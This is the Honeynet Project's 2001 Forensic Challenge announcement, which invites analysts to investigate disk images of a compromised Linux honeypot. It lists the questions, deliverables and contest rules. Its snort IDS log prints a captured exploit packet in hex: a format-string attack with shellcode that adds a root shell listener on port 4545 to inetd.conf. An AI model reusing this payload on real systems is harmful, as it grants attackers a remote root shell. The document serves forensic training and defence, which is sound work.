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The Forensic Challenge

The Honeynet Project's Forensic Challenge was launched on January 15, 2001. This page links to all the information we've assembled about the Challenge. This index will help you quickly get to what you want.

The Honeynet Project's Forensic Challenge was launched on January 15, 2001. This page links to all the information we've assembled about the Challenge. This index will help you quickly get to what you want.


Every day, incident handlers across the globe are faced with compromised systems, running some set of unknown programs, providing some kind of unintended service to an intruder who has taken control of someone else's -- YOUR, or your client's, or customer's -- computers. To most, the response is a matter of "get it back online ASAP and be done with it." This usually leads to an inadequate and ineffective response, not even knowing what hit you, with a high probability of repeated compromise.

On the law enforcement side, they are hampered by a flood of incidents and a lack of good data. A victim trying to keep a system running or doing a "quickie" job of cleanup usually means incidents are underreported and inadequate handling of the evidence leads to no evidence, or tainted evidence. There has to be a better way to meet the needs of incident handlers and system administrators, as well as law enforcement, if Internet crime is going to be managed and not run amok. One possible answer is effective forensic analysis skills -- widespread knowledge of tools and techniques -- to preserve data, analyze it, and produce meaningful reports and damage estimates to your organization's management, to other incident response teams and system administrators, and to law enforcement.

Enter the Honeynet Project. One of the primary goals of the Honeynet Project is to find order in chaos by letting the attackers do their thing, and allowing the defenders to learn from the experience and improve. The latest challenge, inspired by the Honeynet Project's founder Lance Spitzner, is the Forensic Challenge. Only this time, we're opening it up to anyone who wants to join in.

The Challenge

The Forensic Challenge is an effort to allow incident handlers around the world to all look at the same data -- an image reproduction of the same compromised system -- and to see who can dig the most out of that system and communicate what they've found in a concise manner. This is a nonscientific study of tools, techniques, and procedures applied to postcompromise incident handling. The challenge is to have fun, to solve a common real world problem, and for everyone to learn from the process. If what I've said already isn't enough to get you interested, Foundstone is generously offering copies of their extremely popular "Hacking Exposed" (Second Edition) book for the 20 best submissions.

To get you started, here are the basic facts about the compromise:

  • The system was running a default Red Hat Linux 6.2 Server installation.
  • The system's time zone was set to GMT-0600 (CST).
  • The following was noted and logged by the Project's IDS of choice, snort.
Nov 7 23:11:06 lisa snort[1260]: 
RPC Info Query: ->

Nov 7 23:11:31 lisa snort[1260]: 
spp_portscan: portscan status from 2 connections across 1 hosts: TCP(2), UDP(0)

Nov 7 23:11:31 lisa snort[1260]: 
IDS08 - TELNET - daemon-active: ->

Nov 7 23:11:34 lisa snort[1260]: 
IDS08 - TELNET - daemon-active: ->

Nov 7 23:11:47 lisa snort[1260]: 
spp_portscan: portscan status from 2 connections across 2 hosts: TCP(2), UDP(0)

Nov 7 23:11:51 lisa snort[1260]: 
IDS15 - RPC - portmap-request-status: ->

Nov 7 23:11:51 lisa snort[1260]: 
IDS362 - MISC - Shellcode X86 NOPS-UDP: ->
11/07-23:11:50.870124 ->
UDP TTL:42 TOS:0x0 ID:16143
Len: 456
3E D1 BA B6 00 00 00 00 00 00 00 02 00 01 86 B8  >...............
00 00 00 01 00 00 00 02 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 01 67 04 F7 FF BF  ...........g....
04 F7 FF BF 05 F7 FF BF 05 F7 FF BF 06 F7 FF BF  ................
06 F7 FF BF 07 F7 FF BF 07 F7 FF BF 25 30 38 78  ............%08x
20 25 30 38 78 20 25 30 38 78 20 25 30 38 78 20   %08x %08x %08x
25 30 38 78 20 25 30 38 78 20 25 30 38 78 20 25  %08x %08x %08x %
30 38 78 20 25 30 38 78 20 25 30 38 78 20 25 30  08x %08x %08x %0
38 78 20 25 30 38 78 20 25 30 38 78 20 25 30 38  8x %08x %08x %08
78 20 25 30 32 34 32 78 25 6E 25 30 35 35 78 25  x %0242x%n%055x%
6E 25 30 31 32 78 25 6E 25 30 31 39 32 78 25 6E  n%012x%n%0192x%n
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 EB 4B 5E 89 76 AC 83 EE 20 8D 5E 28 83 C6  ...K^.v... .^(..
20 89 5E B0 83 EE 20 8D 5E 2E 83 C6 20 83 C3 20   .^... .^... ..
83 EB 23 89 5E B4 31 C0 83 EE 20 88 46 27 88 46  ..#.^.1... .F'.F
2A 83 C6 20 88 46 AB 89 46 B8 B0 2B 2C 20 89 F3  *.. .F..F..+, ..
8D 4E AC 8D 56 B8 CD 80 31 DB 89 D8 40 CD 80 E8  .N..V...1...@...
B0 FF FF FF 2F 62 69 6E 2F 73 68 20 2D 63 20 65  ..../bin/sh -c e
63 68 6F 20 34 35 34 35 20 73 74 72 65 61 6D 20  cho 4545 stream
74 63 70 20 6E 6F 77 61 69 74 20 72 6F 6F 74 20  tcp nowait root
2F 62 69 6E 2F 73 68 20 73 68 20 2D 69 20 3E 3E  /bin/sh sh -i >>
20 2F 65 74 63 2F 69 6E 65 74 64 2E 63 6F 6E 66   /etc/inetd.conf
3B 6B 69 6C 6C 61 6C 6C 20 2D 48 55 50 20 69 6E  ;killall -HUP in
65 74 64 00 00 00 00 09 6C 6F 63 61 6C 68 6F 73  etd.....localhos
74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  t...............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

A bit-image copy of the active partitions was obtained, as detailed here:

/dev/hda8       /
/dev/hda1       /boot
/dev/hda6       /home
/dev/hda5       /usr
/dev/hda7       /var
/dev/hda9       swap

MD5 Checksums (both uncompressed and GNU gzip compressed):

a1dd64dea2ed889e61f19bab154673ab  honeypot.hda1.dd
c1e1b0dc502173ff5609244e3ce8646b  honeypot.hda5.dd
4a20a173a82eb76546a7806ebf8a78a6  honeypot.hda6.dd
1b672df23d3af577975809ad4f08c49d  honeypot.hda7.dd
8f244a87b8d38d06603396810a91c43b  honeypot.hda8.dd
b763a14d2c724e23ebb5354a27624f5f  honeypot.hda9.dd

f8e5cdb6f1109035807af1e141edd76d  honeypot.hda1.dd.gz
6ef29886be0d9140ff325fe463fce301  honeypot.hda5.dd.gz
8eb98a676dbffad563896a9b1e99a95f  honeypot.hda6.dd.gz
be215f3e8c2602695229d4c7810b9798  honeypot.hda7.dd.gz
b4ff10d5fd1b889a6237fa9c2979ce77  honeypot.hda8.dd.gz
9eed26448c881b53325a597eed8685ea  honeypot.hda9.dd.gz

Please be aware that these are new images. This is not a system that the Honeynet Project has previously written about or discussed publically. (I.e., you won't get any hints from previous Honeynet papers.) The images were edited to anonymize the system. Only the hostname was modified. Everyone is using the same data, so any anomalies caused by this editing will be identical.

The image files can be mounted on Linux systems using the loopback interface like this:

 # mkdir /t
 # mount -o ro,loop,nodev,noexec honeypot.hda8.dd /t
 # mount -o ro,loop,nodev,noexec honeypot.hda1.dd /t/boot
 [ etc... ]

Its now your job -- should you choose to accept it! -- to figure out the Who, What, Where, When, How, and maybe even the Why of this compromise. We don't expect that everyone undertaking the challenge can or will address all of the following items, but the list below of questions and deliverables is provided as a guideline for what to produce and what to focus on:

  1. Identify the intrusion method, its date, and time. (Assume the clock on the IDS was synchronized with an NTP reference time source.)
  2. Identify as much as possible about the intruder(s).
  3. List all the files that were added/modified by the intruder. Provide an analysis of these programs (including decompilation or disassembly where necessary to determine their function and role in the incident.)
  4. Was there a sniffer or password harvesting program installed? If so, where and what files are associated with it?
  5. Was there a "rootkit" or other post-concealment trojan horse programs installed on the system? If so, what operating system programs were replaced and how could you get around them? Hint: If you don't know what a "rootkit" is, read this:

  6. What is publicly known about the source of any programs found on the system? (e.g., their authors, where source code can be found, what exploits or advisories exist about them, etc.)

  7. Build a time line of events and provide a detailed analysis of activity on the system, noting sources of supporting or confirming evidence (elsewhere on the system or compared with a known "clean" system of similar configuration.)
  8. Provide a report suitable for management or news media (general aspects of the intrusion without specific identifying data).
  9. Provide an advisory for use within the home organization (a fictitious university, "", in this case, where I hold an honorary Doctorate, by the way) to explain the key aspects of the vulnerability exploited, how to detect and defend against this vulnerability, and how to determine if other systems were similarly compromised.
  10. Produce a cost-estimate for this incident using the following guidelines and method:

    To simplify and to normalize the results, assume that your annual salary is $70,000 and that there are no user-related costs. (If you work as a team, break out hours by person, but all members should use the same annual salary. Please also include a brief description of each investigator's number of years of experience in the fields of system administration, programming, and security, just to help us compare the number of hours spent with other entrants).

To summarize (and standardize) the deliverables, please produce the following:

   File                   Contents
   index.txt              Index of files/directories submitted
                          (including any not listed below)
   timestamp.txt          Timestamp of MD5 checksums of all files
                          listed and submitted (dating when produced
                          -- see deadline information below)
   costs.txt              Incident cost-estimate
   evidence.txt           Time line and detailed (technical) analysis.
                          (Use an Appendix, and/or mark answers to
                          questions above with "[Q1]", etc.)
   summary.txt            Management and media (non-technical) summary
   advisory.txt           Advisory for consumption by other system
                          administrators and incident handlers within
                          your organization
   files.tar              Any other files produced during analysis and/or
                          excerpts (e.g., strings output or
                          dissassembly listings) from files on the
                          compromised file system, which are referenced in
                          the previous files
The Rules
  • You are free to use any tools or techniques that you choose, provided that the judges are able to readily interpret your results and duplicate or verify their accuracy using publicly available means (i.e., don't expect us all to have a copy of your favorite "Law Enforcement Only" or multi-hundred dollar commercial Windows-only tool). A good publicly available free forensic toolkit is Dan Farmer and Wietse Venema's The Coroner's Toolkit (TCT). If you want examples of the use of TCT, or other tools/techniques, see the Forensics section of the following web page:

    No matter what tools/methods you choose, please make sure you explain them in your analysis and cite references to resources (e.g., RFCs, CERT or SANS "how to" documents) to help others learn by example. Don't forget: this is a Honeynet Project brainchild, so learning is what it's all about. And fun. It's all about learning and fun. Oh yeah, and security. Learning, fun, AND security. ;)

  • You may work as a team, but if your entry is selected as a Top 20, you'll have to fight over one copy of the book.
  • Deliver the results of the analysis in such a way that the judges can quickly and easily consume the information, and such that its authenticity, time of production, and integrity can be verified independently. (e.g., ISO 9660 CD-ROM or .tar archive, with digital time stamps, and PGP signatures and/or MD5 checksums.)

    Please DO NOT SEND COPIES OF COMPLETE FILES FROM THE FILE SYSTEM. We already have a copy of the file system and its contents. Just note the path (e.g., "[See file /bin/foo]").

  • All submissions MUST be time stamped prior to 00:00 GMT on Monday, February 19, 2001 [not February 15 as the announcement email said], and delivery to the judges initiated later that same day. (This is to accommodate submissions on IS0 9660 format CD-ROM, which should be postmarked by this time. The digital time stamps and postmarks will be used to determine the 20 "Hacking Exposed" book winners.) One free digital time stamping service you can use is Stamper .
  • All submissions should be sent (or shipping address arranged, if CD-ROMs are being produced) to
  • The person who hacked the box is NOT eligible, nor are members of the Honeynet Project. Members of the companies employing Honeynet Project members are eligible (and encouraged!) to enter, but their entries (even if Top 20) will not receive copies of "Hacking Exposed." The books go to other entrants.
  • Entries must be written in English (UK and Aussie English accepted, but go light on the regional slang, please! I only have a copy of "Best of Aussie Slang," and the other judges don't live in Seattle.)
  • Only one entry per household, please. Must be sentient to enter. Sorry, no Ginsu Knives come with this offer!

Submissions will be judged by a panel of experts and winners selected and announced on Monday, March 19, 2001. All decisions of the judges are final (no recounts or legal challenges by teams of grossly overpaid lawyers will be tolerated!).

After the winners are announced, all entries will be posted for the security community to review. We hope that the community can better learn from and improve from all the different techniques that different people and organizations use.

Also, we wouldn't be the Honeynet Project if we didn't capture all of the blackhat's keystrokes as he exploited, accessed, and modified the honeypot! We will release the Honeypot Project's analysis of the hacked system, as well as the blackhat's keystrokes, along with the results of the Challenge on March 19.

Good luck, and have fun!

Dave Dittrich

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